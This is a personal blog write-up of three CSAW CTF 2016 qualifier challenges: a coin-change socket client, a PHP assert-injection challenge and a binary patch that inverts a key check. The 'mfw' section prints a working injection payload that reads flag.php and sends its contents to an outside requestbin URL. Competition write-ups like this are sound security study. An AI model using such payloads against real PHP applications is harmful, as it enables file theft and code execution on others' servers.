CSAW CTF 2016 Quals

Michael Zhang
Michael’s Blog
Published in
3 min readSep 18, 2016

Over the weekend, I worked with the team Gophers in the Shell on CSAW CTF 2016. We ended up placing 317th place, with 401 points. Here I’m going to document the problems that I solved during the competition.

Coinslot

For 25 points, the objective of this problem is to output which coins/bills are needed for a given amount of money. When you connect to the server, it will give you an amount in the form of $100.00 and then proceed to ask questions like $10,000 bills?. To do this, I wrote a Python client to interact with the server.

import socket
s = socket.socket()
s.connect((“misc.chal.csaw.io”, 8000))
def recv(end=’\n’):
c, t = ‘’, ‘’
while c != end:
c = s.recv(1)
t += c
return t

This code will open a connection to the server and read input until a certain character is reached. The algorithm for this problem is rather simple; starting from the largest denomination ($10,000 bills), check if the remaining amount is greater than the denomination (in other words, if that bill/coin can be used to pay the remaining amount), and then subtract the largest multiple of that bill/coin from the remaining amount. In code, that looks like this:

r = recv()
amt = int(r.strip(“$”).strip().replace(“.”, “”))
print amt
for denom in denoms:
n = amt // denom
s.send(“%d\n” % n)
amt %= denom
recv()

Upon success, the server will then ask another amount. I didn’t keep track of how many times it asked, but I wrapped the above code in a while True loop and eventually I got the flag.

mfw

In this challenge we were presented with a site with a navigation bar. On the About page, it tells you that the site was made with Git, PHP, and Bootstrap. Upon seeing git, I immediately thought to check if the .git folder was actually stored in the www root, and it was! I ripped the git folder off the site and cloned it to restore the original folder structure.

There was a flag.php in the templates folder, but the actual flag was missing. That means I had to retrieve the flag from the actual server.

From the way the navigation bar was constructed, it looks like I need to use local file inclusion. But I couldn’t use php’s base64 filter to print the contents of flag.php because the $file variable will stick ”templates/” to the front of the given page before it’s require_once’d.

The trick to solving this one is injecting PHP commands in the assert statements. I suspect that writing to the filesystem has been blocked. So instead, I made a requestbin that I would make a GET request to, containing the contents of flag.php!

The page I requested was:

http://web.chal.csaw.io:8000/?page=flag%27+%2B+fopen%28%27http%3A%2F%2Frequestb.in%2F1l5k31z1%3Fp%3D%27+.+urlencode%28file_get_contents%28%27templates%2Fflag.php%27%29%29%2C+%27r%27%29+%2B+%27

Un-URL encoded, this looks like:

flag’ + fopen(‘http://requestb.in/1l5k31z1?p=' . urlencode(file_get_contents(‘templates/flag.php’)), ‘r’) + ‘

As you can see, I’m reading the contents of flag.php, URL-encoding it, and sending it to this requestbin. This way, I can retrieve it from the requestbin later.

Gametime

I got this close to the end of the competition, but it suddenly hit me that if I just invert the condition of (if you hit the right key), then it will think you win if you do absolutely nothing. Since they distributed the binary file instead of hosting it on a server, this means I could just patch the binary file and re-run it.

I opened the exe in IDA, and used Alt+T to search for UDDER FAILURE, the string it prints when you fail. It actually occurs twice in the program, first during the “tutorial” level, and then during the actual thing.

In both instances, right above where it prints UDDER FAILURE, there is a jnz that checks if the key you pressed was right. More specifically, this occurs at 004014D5 and 00401554. To invert the condition, I had to change jnz to jz. In opcodes, that’s 75 and 74.

Then I just ran the program again, and waited for it to pass all the checks, and I got the flag!

--

--